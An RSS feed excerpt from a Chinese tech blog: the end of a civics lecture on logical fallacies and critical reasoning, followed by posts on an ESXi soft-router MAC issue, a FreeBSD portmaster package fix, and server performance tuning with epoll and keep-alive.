（60）而象华师大的学生如果大部分讨论变成一个个说"我的观点，我认为"，那么讨论就没有基础，发言就成了一个个独语。为什么中国许多畅所欲言的会不是变成放炮会，要么就吵成乱麻，也就是不明白这个道理。<br />
<br />
（61） 胡适先生为什么会成为一个不受人惑的伟大公民，他认为正确的思想来自于经验与逻辑。或者说事实与逻辑。由事实为前提，正确逻辑推出的观点才是正确的。这就是专制者为什么害怕事实，也害怕讲道理的原因。<br />
<br />
（62）在美国七年级（相当于中国初一）：评估作者在支持结论和立场时所用论据是否适当确切相关，并注意是否有偏见和成见的例子。<br />
<br />
"偏见"和"陈见"是新要求，也是从形式逻辑向社会公正内容过渡。<br />
<br />
（63）在美国八年级（相当于初二）：复习说理评估，重点在"评估文本统一性，连贯性，逻辑的一致性和结构。<br />
<br />
（64）美国初二的公共说理课本中 例如会有一篇说理谬误的评论："爱伦坡的小说诗诗歌写的全是心智不宁，甚至疯狂的人物。"老师告诉学生，这儿犯了"普遍泛论的"的错误。 常见的泛论表述法包括："所有的……""每个……""大家都……""总是……"<br />
<br />
（65）普遍泛论： 这是毛泽东经常犯的错误：<br />
<br />
"所有反动派都是纸老虎。"<br />
<br />
"凡是敌人反对的，我们就要拥护；凡是敌人拥护的，我们就要反对。"<br />
<br />
也是诗人允许犯的错误："所有的日子向我走来……""每当下雨的时候，我就想起了你，丁香花般的女孩……"——但诗人变成政治家就很麻烦，比如毛。<br />
<br />
（66）为什么毛泽东讲的"凡是敌人反对的，我们就要拥护是错误的？殷海光先生在《思想的颜色》一书说：科学的认知模式是，一，不故意求同。二不故 意求异。三，不存心非古，四，不存心尊古。五，不存心薄今。六，不存心厚今。第七，不以言为已出而重之。不以言为异己所出而轻之。<br />
<br />
（67）殷海光说：我们必须只问是非，不问人身才能求索真理。只有希特勒这样的疯人才不准爱因斯坦的相对论在物理学教本中出现。只因为这是一个犹太人的发现。英国人则闻相对论而欣然色喜。毛说的敌人反对的，我们就拥护，不亚于丧心病狂者的呓语。<br />
<br />
（68）有没有读过共产党宣言，什么，你们只有一个党员读过，好，读《共产党宣言》开头："一缕幽灵在欧洲游荡——共产主义的幽灵。旧欧洲的一切势 力结合成围剿这缕幽灵的神圣同盟……有哪一个反对党不被其执政对手诋毁为共产党？……至今为止，所有社会的历史都是阶级斗争的历史。你们说说里面有什么错 误？<br />
<br />
（69）各位说说〈〈共产党宣言〉〉犯了什么逻辑错误，没错，普遍泛论！一切，所有，绝对，是这样的吗，所有社会历史都是阶级斗争的历史吗，请问阶 级出现前的历史呢？马克思用一切势力的话句造成共产主义被迫害的语境。大伙想想，这种被迫害狂的幻想在执政后会不会变成迫害狂呢？<br />
<br />
（70）我们再来读一读希特勒《我的奋斗》这书不大容易买到，但我提倡大学生读书无禁区，读一段："我又竭力偏搜一切关于社会民主党的表册，而来研究作者的姓名——没有别的，竟完全是犹太人。……"《我的奋斗》充满了"一切"，"全部"的字眼，以强化煽动效果。<br />
<br />
有训练的头脑不难发现希特勒的逻辑谬误。<br />
<br />
（71）《我的奋斗》一书思维跳跃到常人无法忍受的地步，明显说明希特勒是一个不讲逻辑的疯狂者。有趣的是这本书每个段落都短，有时竟到了一行行如同诗歌的地步，也许希特勒更适合做诗人吧。和老毛一样，诗人执政可怕至极。<br />
<br />
（72）美国初二的说理课本的评论还写道："自己精神没有问题的作家是写不出这种故事的，不然爱伦坡又如何体会什么是疯狂？"——这里犯的是"虚假对位"的逻辑谬误。（要么疯，那么不疯）其实作家写疯子可以运用想象，不一定自己非要是疯子不可。就象写强奸，作者不一定有强奸经验。<br />
<br />
（73）"虚假对位"在文革大字报上经常用，例如：<br />
<br />
"如果彭德怀不是丧心病狂的走资派，又怎么会写出万言书，恶毒攻击我们的伟大领袖？……"<br />
<br />
虚假对位容易形成矛盾的对立方，是斗争哲学的革命家最喜欢用的。<br />
<br />
（74）感谢徐贲老师为我们带来了美国说理课本内容，他告诉我们在美国初二说理课中 评论写道"我们知道，作家都有些怪，特别是那些写恐怖故事的作家。""我们知道"是类似于"毋用置疑，众所周知，大家都知道，地球人都知道……"<br />
<br />
犯的是"本来就有问题"的逻辑谬误，因为所知道的恰恰是有待证明的。<br />
<br />
（75）进入高中即美国九，十年级：说理评估要求说理中必须有对方意识，懂得说理是"对话"不是"独语"。中国人热衷的大学生辨论赛虽然讲逻辑问题，但可怕在训练学生不吸纳对方意见，千方百计坚持自己观点。——"你他妈再怎么说，你的观点是个屁。"——其实是宣传翻版。<br />
<br />
（76）曾是大学生辨论赛冠军辨手的郭宇宽先生在文章中写道，他做为许多辩论队的教练常常教队员一招。那就是不管对方说什么都可以反驳回去不用理睬他然后说自己的话。<br />
<br />
（77）例如，辨论安乐死应不应当执行，对方说："请问你知道现在病床上遭受折磨不能治疗的患者有多少吗？"最简单的回答方式是"对方辩友这么说无 非是想证明安乐死有实施的必要，但是我们要说……"这一招本质就是不管对方说什么，按自己思路走。郭宇宽交待这一段时，自己都不好意思地笑了。<br />
<br />
（78）这是不是和我们外交部发言人说话差不多？郭宇宽说当年看东南大学与南京大学的辩论，正方说一句马克思说，反方说恩格斯说过，正方又说恩格斯还说过……郭宇宽说："到底是这帮人在辩论，还是马克思恩格斯在辩论？"这就是中国大学辩论的教条本质。<br />
<br />
这种辩论其实用的是"势利"的宣传手法，以权威压人。<br />
<br />
（79）有趣的是正是那些水平不高的辩论让他真正对公共讨论产生兴趣，去了解真正的公共辩论应当是什么。郭宇宽成为了一个宣扬公共讨论的公民教员。本公民课也受到郭先生许多启发。<br />
<br />
（80）在美国高中，公共说理课教学生 除了形式逻辑，还要讲究结构逻辑。例如文章不同部分顺序，逻辑过度）能够预先评估和避免读者可能会有的误解。<br />
<br />
（81）让学生理解概说与论据之间的关系：正确理解论据（不望文生义，不曲解，不断章取义）弄清不同文本的结构，语气，读者。（如学术刊物，报纸评论，政治演说）——这让我们想起在文革中，攻击知识分子恰恰是对他们的著作，望文生义，曲解，断章取义，以达到迫害目的。<br />
<br />
（82）而美国的教育是把讲道理的素质种在每个学生心中，从而形成了捍卫民主自由的真正长城。同在一个地球上，中美教育差别咋这么大哩？<br />
<br />
（83）在美国高三（十一，十二年级）说理课上<br />
<br />
：说理对象评估是"公共文件"，（publicdocuments)政府文告，政策说明，文宣，公共服务部门宗旨，规章，条例，商贸，招聘信息，凡是印成铅字的，并不一定就在道理上说得通，这是反复进行的说理评估要告诉学生的基本道理。<br />
<br />
（84）培养高三学生对权威文字的质疑非常重要，因为有一部分高中生将走上社会。不迷信政府公文！党中央文件就是对的吗？有这样的中央文件：《中共 中央关于开展无产阶级文化大革命的决定》（十六条）。每个公民对政府公文的检审才能确立一个正常社会，这一点美国从高中生就开始培养了！<br />
<br />
（85）而中国的高三学生在干什么，说来可怜，正死记硬背那些教条去高考。我考上大学后，是把高中课本烧掉的。那些教条，那些假历史造就多少脑子进水的呆子。中国真正的人才是高考的漏网之鱼，罗永浩，韩寒正是高中都没读完才保持了一点常识！<br />
<br />
（86）封锁新闻，统治教育，上政治大课。这是威权者常用的方法。不给你们事实，不教给你们逻辑，不让你们讨论。把我们的学生弄成小奴才。<br />
<br />
（87）同学们，整个中学教育，你们不仅受不到象公共说理课这样的反洗脑训练，反而被假历史书洗个透。所以罗曼罗兰说得好："一个年轻人成熟的标志是把他所受的全部教育呕吐掉。"在中国，一个年轻人要成为独立人格，独立思考的新人，吐上三天三夜都不多。<br />
<br />
（88）举个例子：在我们松江，上海政府为了建世博建了一个巨大停车场，结果整个世博期间只停了几辆车。上海政府想象大量游客会把自驾车停在松江然后坐地铁去世博。结果证明这是上海政府的自我想象。我们的政府为什么常犯以自我想象为中心的错误？<br />
<br />
（89）同样我们的教科书最大的问题是不顾事实构筑了一个理想化的历史，将党的历史，中国历史完全按自己的逻辑构筑。二十世纪的乌托邦革命为什么破灭？正是一个政党以自我为中心的憧憬的结果。共产主义为什么在中国一度成为吸引人的思想？<br />
<br />
（90）因为当时中国旧观念构筑不合用而重新建立，也就是大家对旧的厌弃而对新的憧憬的时候。憧景含有浓厚的理想化内容，这里所说理想化是产生想象形式的一种心理程序。不幸的是在人类历史上，能吸引人的东西未必真，真的东西未必能吸引人。<br />
<br />
（91） 这就是共产主义获得当时中国人心的原因。殷海光先生说：历史告诉我们，大多数被吸引因为信其为真的人所狂热坚的意义牢结之可实行性，很少经得起科学考验。从一种意义上来说，它们都是柏拉图理想国不同与粗糙的摹写。<br />
<br />
（92）"人之所以异于禽兽者"，就是常为自己脑中幻想的东西发狂。正象扑火的蛾子自焚其向一样，人类常因对幻构发狂而自我毁灭。因为公民教育重要的辨别何为幻想与事实。就象发现《盗梦空间》电影中何为梦境一样。有了这样的公民训练。我们才不会重返共产乌托邦的恶梦中。<br />
<br />
（93） 公民教育让每个人成为破梦人。成为自己的主人，成为不受人惑的人。而每一个这样的公民才会成为理性的国家主人。好，让我们回到美国的公民教育上来。<br />
<br />
（94）徐贲先生还告诉我们在美国大学：公共说理写作在许多大学是大一年级学生不管是文科还是理科必修课。 第一学期注重基本写作技巧，如描写，叙述，比较，说服，辨诘，评述。 第二学期"说理写作"（exposicory writing)分析研究，提高普遍的论述能力。<br />
<br />
（95）"从小学四年级算起，美国说理教育必修课有十年，尤其重要的是初中三年，可塑性最强，有自然好奇心和求知欲，能很快将学到的知识吸纳 并转化为习惯。美国之所以有比较高的公民素质，国民独立思考能力和公民社会理性，除了国家民主传统外，重视公民教育应该当是一个重要原因。"——徐贲<br />
<br />
（96）这是徐贲先生的总结。本公民课关于美国公共说理课的资料引自于徐贲老师的文章&lt;&lt;向美国基础教育学什么?&gt;&gt;，表示感谢！徐贲先生长期在美国执教，他写有大量关于美国教育的文章。也是一位严谨认真的公民教员。<br />
<br />
（97） 回到我的华师大新闻课上,我讲完这堂公民课后,同学们陷入沉思中.后来,我说老师通过你们不成功的公共讨论我自己也学到了不少东西,从此以后我上课再也不 点名让同学回答问题.想回答的同学才回答,想提问的才提问.其次以后这堂课的任何表决,老师我只算一票,三十六票中的一票.起码在表决中老师与学生平等。<br />
<br />
（98） 老师还要接受一个教训，人之患在于好为人师。在你们一小时间的自由讨论中，我在快结束时，终于忍不住，想提供你们一点规则借鉴，如"主持人不要总结别人的 发言，尽量不要有自己观点，以保持中立。"有同学对我质疑，为什么要有这样的规则，这是非常好的质疑，为什么翟老师要提供规则，侵犯我们权力！<br />
<br />
（99）<br />
<br />
这是你们权力觉醒的标志，老师在这之前邀请你们共同制定课堂规则，给你们的权利你们不会珍惜，而只有争取来的，你们才会保卫他。下面是我与学生们共同制定的课堂规则。<br />
<br />
（100）这是我和学生们共同制定的课堂规则：<br />
<br />
1,老师不得拖堂.<br />
<br />
2,提问不用举手,发言不用举手.<br />
<br />
3,可从事一切不妨碍它人自由,影响它人上课的活动.<br />
<br />
织毛衣,绣花,看其它书,擦皮鞋,做白日梦,写情书,走神……<br />
<br />
（101）<br />
<br />
4,可以睡觉,不可以打呼噜.<br />
<br />
5,可以谈恋爱,不可以亲嘴.<br />
<br />
6,可以自由出没,但如来上课请准时.<br />
<br />
7,可以与老师自由争论争吵,但不得打老师<br />
<br />
友情提醒：老师也是有功夫的。<br />
<br />
（102） 我们之所以要制定这些规则，因为我相信哈佛大学最著名的校长埃利奥特的理念。在他任上哈佛学生从563名增加到2000名。他使哈佛成为真正伟大的大学。埃利奥特创立了本科生自由选课的制度。 他对全体大学生说："教育的目的是使每个人按自己的所好去思索和行动。"<br />
<br />
（103）这种自由甚至让一些哈佛学生在一段时间里借机反对学校传统反对学校本身。名记者约翰里德说："哈佛的人们谈论世界，谈论大胆新奇的设想……离经叛道的思想，异端邪说一直是哈佛的一种精神。"<br />
<br />
（104）造反也是哈佛传统的一部分。在埃利奥特领导下，哈佛的教育目标是探索实验和思想自由，而不是灌输。哲学家詹姆斯在一次哈佛毕业生聚餐会上说："那些不服管教的学生是我们最感自豪的产品。"<br />
<br />
（引自罗纳德，斯蒂尔《李普曼传》）<br />
<br />
（105）我说让我们打破课堂政治,学会解放自己,只有自由提问,自由回答,自由思想,才有真正的学问，老师愿和你们一起努力，即使整个课程失败了。我们起码学会了解放思想，与奔放表达。在这个压抑深重的国家，这是公民第一步。让我们学会讲道理吧！<br />
<br />
（106）本台微博公民实验课第一课结束了，谢谢大家，愿大家都做公民教员，本公民课内容属于每个公民，请您们在各种场合使用与更新！<br />
<br />
在本台人数达到四万人时，第二堂公民课将开讲。]]></description>
	<pubDate>Sun, 17 Oct 2010 07:05:16 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/t_760</guid>

</item>
<item>
	<title>ESXi虚拟机软路由服务中断问题</title>
	<link>http://www.holmesian.org/ESXi_MAC</link>
	<description><![CDATA[<p>由于特殊的网络环境和资源限制等原因，之前在ESXi的服务器上装了一个软路由供给其他的VPS客户机上网：刚装上时用着挺好，但是过一段时间（不恒定）就会出现无法提供NAT服务，甚至无法被Ping通，总之经过了一段时间都没有找到很好的解决方法，最后只能设置每隔一段时间重启一次软路由。由于几次在FreeBSD的messages信息中看到了软路由在莫名其妙地更新自己的MAC地址，所以一直都怀疑是这个导致的问题。</p>
<p>今天设置ESXi的时候发现了ESXi可以拒绝更新MAC地址，虽然暂时还不能非常确定到底是不是MAC变动导致的问题，但是值得尝试一下：</p>
<p>&nbsp;</p>
<p>ESXi配置网络的地方在vSphere Clinet的Configuration-&gt;Networking，选择修改虚拟交换机的属性，在security选项中修改为下图</p>
<p><img alt="" src="/attachment/1287236784_5869f3cc.jpg" /></p>
<p>第一个是允许Promiscuous Mode（混杂模式），后面两个分别是拒绝MAC Address Changes（MAC地址修改）和允许Forged Transmits（伪信号:用于直接使用武力网卡进行欺骗传输）。</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/samsung_network">三星手机无法上网的解决办法</a></p><p><a href="http://www.holmesian.org/FreeBSD-ESXi-opt">FreeBSD在ESXi的虚拟环境下php-cgi性能极差</a></p><p><a href="http://www.holmesian.org/missing-zlib-extensions">解决Missing zlib extensions问题</a></p><p><a href="http://www.holmesian.org/ubuntu_rc-d">操作Ubuntu的启动服务项目rc.d</a></p><p><a href="http://www.holmesian.org/ESXi-guest-time-slow">在ESXi中运行的客户机时间会变慢</a></p><p><a href="http://www.holmesian.org/CSS-hack">解决CSS兼容性问题的Tips</a></p></div>]]></description>
	<pubDate>Sat, 16 Oct 2010 13:48:41 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/ESXi_MAC</guid>

</item>
<item>
	<title>FreeBSD升级时No longer required by any port</title>
	<link>http://www.holmesian.org/No_longer_required_by_any_port</link>
	<description><![CDATA[<p>&nbsp;由于软件已经不再存在于FreeBSD的PORTS树中，当使用PORTMASTER -DaF升级系统软件的时候将会出现类似下面“No longer required by any port”的问题：</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>===&gt;&gt;&gt;&nbsp;The&nbsp;devel/automake110&nbsp;port&nbsp;has&nbsp;been&nbsp;deleted:&nbsp;No&nbsp;longer&nbsp;required&nbsp;by&nbsp;any&nbsp;port&nbsp;</span></span></li>
    <li><span>===&gt;&gt;&gt;&nbsp;Aborting&nbsp;update&nbsp;</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre>===&gt;&gt;&gt; The devel/automake110 port has been deleted: No longer required by any port 
===&gt;&gt;&gt; Aborting update </pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<div>解决方法自然是先用pkg_info查看是哪些包被移除，然后再手工删除掉相应的软件包</div>
<div>&nbsp;</div>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span class="comment">#&nbsp;pkg_info&nbsp;|&nbsp;grep&nbsp;automake</span></span></li>
    <li><span>automake-<span class="number">1.10</span><span>.</span><span class="number">3</span><span>&nbsp;GNU&nbsp;Standards-compliant&nbsp;Makefile&nbsp;generator&nbsp;(</span><span class="number">1.10</span><span>)</span></span></li>
    <li class="alt"><span>automake-<span class="number">1.5_6</span><span>,</span><span class="number">1</span><span>&nbsp;GNU&nbsp;Standards-compliant&nbsp;Makefile&nbsp;generator&nbsp;(</span><span class="number">1.5</span><span>)</span></span></li>
    <li><span>automake-<span class="number">1.9</span><span>.</span><span class="number">6_4</span><span>&nbsp;GNU&nbsp;Standards-compliant&nbsp;Makefile&nbsp;generator&nbsp;(</span><span class="number">1.9</span><span>)</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre># pkg_info | grep automake
automake-1.10.3 GNU Standards-compliant Makefile generator (1.10)
automake-1.5_6,1 GNU Standards-compliant Makefile generator (1.5)
automake-1.9.6_4 GNU Standards-compliant Makefile generator (1.9)</pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span class="comment">#&nbsp;pkg_delete&nbsp;-f&nbsp;automake-1.10.3&nbsp;automake-1.5_6,1&nbsp;automake-1.9.6_4</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre> # pkg_delete -f automake-1.10.3 automake-1.5_6,1 automake-1.9.6_4</pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<div>&nbsp;</div>
<div>接下载重新执行PORTMASTER，问题解决……</div>
<div>&nbsp;</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/FreeBSD-network">FreeBSD查看当前外部网络连接情况</a></p><p><a href="http://www.holmesian.org/Nginx-apache-ip">Nginx做前端时让Apache能得到真实IP的做法</a></p><p><a href="http://www.holmesian.org/FreeBSD_nginx_fastcgi_error">FreeBSD+nginx+spawn-fcgi出错的解决</a></p><p><a href="http://www.holmesian.org/post/539">TeamViewer 汉化绿色版</a></p><p><a href="http://www.holmesian.org/negative-sbsize-freebsd">negative sbsize for uid问题</a></p><p><a href="http://www.holmesian.org/FreeBSD-oper">FreeBSD命令速记</a></p></div>]]></description>
	<pubDate>Sat, 16 Oct 2010 13:11:39 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/No_longer_required_by_any_port</guid>

</item>
<item>
	<title>提升服务器性能的同时为你节约10倍以上成本(1)</title>
	<link>http://www.holmesian.org/server_better</link>
	<description><![CDATA[<p>--提升性能的同时为你节约10倍以上成本<br />
From: http://blog.sina.com.cn/iyangjian<br />
<br />
一，如何节约CPU<br />
二，怎样使用内存<br />
三，减少磁盘I/O<br />
四，优化你的网卡<br />
五，调整内核参数<br />
六，衡量Web Server的性能指标<br />
七，NBA js直播的发展历程<br />
八，新浪财经实时行情系统的历史遗留问题 (7 byte = 10.68w RMB/year)<br />
&nbsp; -----------------------------------------------------------------------------------------<br />
<br />
一，如何节约CPU<br />
<br />
1,选择一个好的I/O模型(epoll, kqueue)<br />
3年前，我们还关心c10k问题，随着硬件性能的提升，那已经不成问题，但如果想让PIII 900服务器支撑5w+ connections,还是需要些能耐的。<br />
<br />
epoll最擅长的事情是监视大量闲散连接，批量返回可用描述符,这让单机支撑百万connections成为可能。linux 2.6以上开始支持epoll，freebsd上相应的有kqueue，不过我个人偏爱linux，不太关心kqueue。<br />
<br />
边缘触发ET 和 水平触发LT 的选择：<br />
早期的文档说ET很高效，但是有些冒进。但事实上LT使用过程中，我苦恼了将近一个月有余，一不留神CPU 利用率99%了，可能是我没处理好。后来zhongying同学帮忙把驱动模式改成了ET模式，ET既高效又稳定。<br />
<br />
简单地说，如果你有数据过来了，不去取LT会一直骚扰你，提醒你去取，而ET就告诉你一次，爱取不取，除非有新数据到来，否则不再提醒。<br />
<br />
重点说下ET,非阻塞模式，<br />
man手册说，如果ET提示你有数据可读的时候，你应该连续的读一直读到返回 EAGAIN or EWOULDBLOCK 为止，但是在具体实现中，我并没有这样做，而是根据我的应用做了优化。因为现在操作系统绝大多数实现都是最大传输单元值为1500。  MTU:1500 - ipheader:20 - tcpheader:20 = 1460 byte . &nbsp;<br />
HTTP header,不带cookie的话一般只有500+ byte。留512给uri，也基本够用，还有节余。<br />
更正:如果只读前1460个字节的header的话，99.999%的用户都能正常访问，但是有一两个用户是通过某http proxy来上网，这种用户请求的特征是会带2k以上的垃圾信息过来,类似于cookie,但又不是，重要的http header被放在了最后,导致我认为是非法请求,所以现在来看,为了避免被投诉,还是建议读取到" "作为结束,性能的影响也是比较有限的.   (最后修改时间 2010.05.11)<br />
<br />
<br />
<br />
如果请求的header恰巧比这大是2050字节呢？<br />
会有两种情况发生：1，数据紧挨着同时到达，一次read就搞定。 2，分两个ethernet frame先后到达有一定时间间隔。<br />
我的方法是，用一个比较大的buffer比如1M去读header，如果你很确信你的服务对象请求比1460小，读一次就行。如果请求会很大分几个ethernet frame先后到达，也就是恰巧你刚刚read过，它又来一个新数据包，ET会再次返回，再处理下就是了。<br />
<br />
更正: 在追踪通过http proxy上网的用户问题中发现,这个方法并不严谨:1, 2050字节有可能会分两个,以及两个以上的ethernet frame到达,虽然我测试还没遇到3个的情况，但是现在我断定它是会存在的. 2,即使比1460字节小的数据,也不敢保证装载在一个ethernet frame里,仍然有可能分多次到达. 所以用1M的buffer去读，返回数据比1460小，并不代表数据已经读完，只能说明，本次读完了，下次再有数据到达时会ET提示你.测试中发现，对于大于1460字节的头的读区,如果分多次到达，第一次返回为1460字节的概率大一些而已. 测试中甚至还遇到了另外一个临界情况,就是用1M的buffer刚读完数据,立刻再接着读,有可能会读到数据,这个数据应该是紧接着到达,很小的时间间隔,如果你不去读,我认为ET应该会再次返回(仅仅出现过一次,未能验证,有时间再求证).  (最后修改时间 2010.05.11)<br />
<br />
&nbsp;<br />
顺便再说下写数据，一般一次可以write十几K数据到内核缓冲区。<br />
所以对于很多小的数据文件服务来说，是没有必要另外为每个connections分配发送缓冲区。<br />
只有当一次发送不完时候才分配一块内存，将数据暂存，待下次返回可写时发送。<br />
这样避免了一次内存copy，而且节约了内存。<br />
<br />
选择了epoll并不代表就就拥有了一个好的 I/O模型，用的不好，你还赶不上select,这是实话。<br />
epoll的问题我就说这么多，关于描述符管理方面的细节请参见我早期的一个帖子，epoll模型的使用及其描述符耗尽问题的探讨  大概讨论了18页，我刚才把解决方法放在第一个帖子里了。如果你对epoll有感兴趣，我这有 一个简单的基于epoll的web server例子 。<br />
<br />
另外你要使用多线程，还是多进程，这要看你更熟悉哪个，各有好处。<br />
多进程模式，单个进程crash了，不影响其他进程，而且可以为每个worker分别帮定不同的cpu,让某些cpu单独空出来处理中断和系统事物。多线程，共享数据方便，占用资源更少。进程或线程的个数，应该固定在（cpu核数-1） ~ 2倍cpu核数间为宜，太多了时间片轮转时会频繁切换，少了，达不到多核并发处理的效果。<br />
<br />
还有如何accept也是一门学问，没有最好，只有更适用，你需要做很多实验，确定对自己最高效的方式。有了一个好的I/O框架，你的效率想低也不容易,这是程序实现的大局。<br />
<br />
关于更多网络I/O模型的讨论请见 &lt;Scalable Network Programming &gt; 中文版。<br />
另外，必须强调的是,代码和结构应该简洁高效,一定要具体问题具体分析，没什么法则是万能的，要根据你的服务量身定做。<br />
<br />
2,关闭不必要的标准输入和标准输出<br />
close(0);  //stdin<br />
close(1);  //stdout<br />
如果你不小心，有了printf输出调试信息，这绝对是一个性能杀手。<br />
一个高性能的服务器不出错是不应该有任何输出的，免得耽误干活。<br />
这样做，至少能为你节约两个描述符资源。<br />
<br />
3，避免用锁 (i++ or ++i )<br />
多线程编程用锁是普遍现象，貌似已经成为习惯。<br />
但各线程最好是独立的，不需要同步机制的。<br />
锁会消耗资源，而且造成排队，甚至死锁，尽量想办法避免。<br />
非用不可时候，比如，实时统计各线程的负载情况，多个线程要对全局变量进行写操作。<br />
请用 ++i ，因为它是一个原子操作。<br />
<br />
---------------------------------------------------<br />
<br />
更正: pinggao，同学对++i的原子性提出了质疑，并做了个测试程序，经过讨论得出结论：++i在多线程的程序中，在单核环境下，不一定是原子的，在多核环境下肯定不是原子的，我把这个当作原子操作用在了统计中，所以我得出的统计值是要比实际处理能力小很多的。。。亏大了。。等有新的数据再更正过来。。想想犯这个基本错误的原因，当初我们大学教授在讲++i是原子操作的时候，距离现在计算机环境发生了巨大变化。  ++i原子性讨论  (最后修改时间 2010.10.02)<br />
<br />
4,减少系统调用<br />
系统调用是很耗的，因为它通常需要钻进内核再钻出来。<br />
我们应该避免用户空间和内核空间的切换。<br />
比如我要为每个请求打个时间戳，以计算超时，我完全可以在返回一批可用描述符前只调用一次time(),而不用每个请求都调用一次。 time()只精确到秒，一批请求处理都是毫秒级，所以也没必要那么做，再说了，计算超时误差那么一秒有什么影响吗？<br />
<br />
5, Connection: close vs  Keep-Alive ?<br />
谈httpd实现，就不能不提长连接Keep-Alive 。<br />
Keep-Alive是http 1.1中加入的，现在的浏览器99。99%应该都是支持Keep-Alive的。<br />
<br />
先说下什么是Keep-Alive:<br />
这是基于tcp的connections说的，也就是一个描述符(fd)，它并不代表独立占用一个进程或线程。一个线程用非阻塞模式可以保持成千上万个长连接。<br />
<br />
先说一个完整的HTTP 1.0的请求和响应:<br />
建立tcp连接 (syn; ack, syn2; ack2; 三个分组握手完成)<br />
请求<br />
响应<br />
关闭连接 (fin; ack; fin2; ack2  四个分组关闭连接)<br />
<br />
再说HTTP 1.1的请求和响应:<br />
建立tcp连接 (syn; ack, syn2; ack2; 三个分组握手完成)<br />
请求<br />
响应<br />
...<br />
...<br />
<br />
请求<br />
响应<br />
关闭连接 (fin; ack; fin2; ack2  四个分组关闭连接)<br />
<br />
如果请求和响应都只有一个分组，那么HTTP 1.0至少要传输11个分组(补充：请求和响应数据还各需要一个ack确认)，才拿到一个分组的数据。而长连接可以更充分的利用这个已经建立的连接，避免的频繁的建立和关闭连接，减少网络拥塞。<br />
<br />
我做过一个测试，在2cpu*4core服务器上，不停的accept，然后不做处理，直接close掉。一秒最多可以accept  7w/s，这是极限。那么我要是想每秒处理10w以上的http请求该怎么办呢？<br />
目前唯一的也是最好的选择，就是保持长连接。<br />
比如我们NBA JS直播页面，刚打开就会向我的js服务器发出6个http请求，而且随后平均每10秒会产生两个请求。再比如，我们很多页面都会嵌几个静态池的图片，如果每个请求都是独立的（建立连接然后关闭），那对资源绝对是个浪费。<br />
<br />
长连接是个好东西，但是选择 Keep-Alive必须根据你的应用决定。比如NBA JS直播,我肯定10秒内会产生一个请求，所以超时设置为15秒，15秒还没活动，估计是去打酱油了，资源就得被我回收。超时设置过长，光连接都能把你的服务器堆死。<br />
<br />
为什么有些apache服务器，负载很高，把Keep-Alive关掉负载就减轻了呢？<br />
apache 有两种工作模式，prefork和worker。apache 1.x只有，prefork。<br />
prefork比较典型，就是个进程池，每次创建一批进程,还有apache是基于select实现的。在用户不是太多的时候，长连接还是很有用的，可以节约分组，提升响应速度，但是一旦超出某个平衡点，由于为了保持很多长连接，创建了太多的进程，导致系统不堪重负，内存不够了，开始换入换出，cpu也被很多进程吃光了,load上去了。这种情况下，对apache来说，每次请求重新建立连接要比保持这么多长连接和进程更划算。<br />
<br />
<br />
6,预处理 (预压缩，预取lastmodify,mimetype)<br />
预处理,原则就是，能预先知道的结果，我们绝不计算第二次。<br />
<br />
预压缩：我们在两三年前就开始使用预压缩技术，以节约CPU，伟大的微软公司在现在的IIS 7中也开始使用了。所谓的预压缩就是，从数据源头提供的就是预先压缩好的数据，IDC同步传输中是压缩状态，直到最后web server输出都是压缩状态，最终被用户浏览器端自动解压。<br />
<br />
预取lastmodify:  文件的lastmodify时间，如果不更新，我们不应该取第二次，别忘记了fsat这个系统调用是很耗的。<br />
<br />
预取mimetype： mimetype,如果你的文件类型不超过256种，一个字节就可以标识它，然后用数组下标直接输出，而且不是看到一个js文件，然后strcmp()了近百种后缀名后，才知道应该输出Content-Type: application/x-javascript，而且这种方法会随文件类型增加而耗费更多cpu资源。当然也可以写个hash函数来做这事，那也至少需要一次函数调用，做些求值运算，和分配比实际数据大几倍的hash表。<br />
<br />
如何更好的使用cpu一级缓存<br />
数据分解<br />
CPU硬亲和力的设置<br />
待补充。。。。<br />
<br />
二，怎样使用内存<br />
<br />
1，避免内存copy (strcpy,memcpy)<br />
虽然内存速度很快，但是执行频率比较高的核心部分能避免copy的就尽量别使用。如果必须要copy，尽量使用memcpy替代sprintf,strcpy，因为它不关心你是否遇到''; 内存拷贝和http响应又涉及到字符串长度计算。如果能预先知道这个长度最好用中间变量保留，增加多少直接加去，不要用strlen()去计算，因为它会数数直到遇见''。能用sizeof()的地方就不要用strlen,因为它是个运算符，在预编的时被替换为具体数字，而非执行时计算。<br />
<br />
2，避免内核空间和用户进程空间内存copy (sendfile, splice and tee)<br />
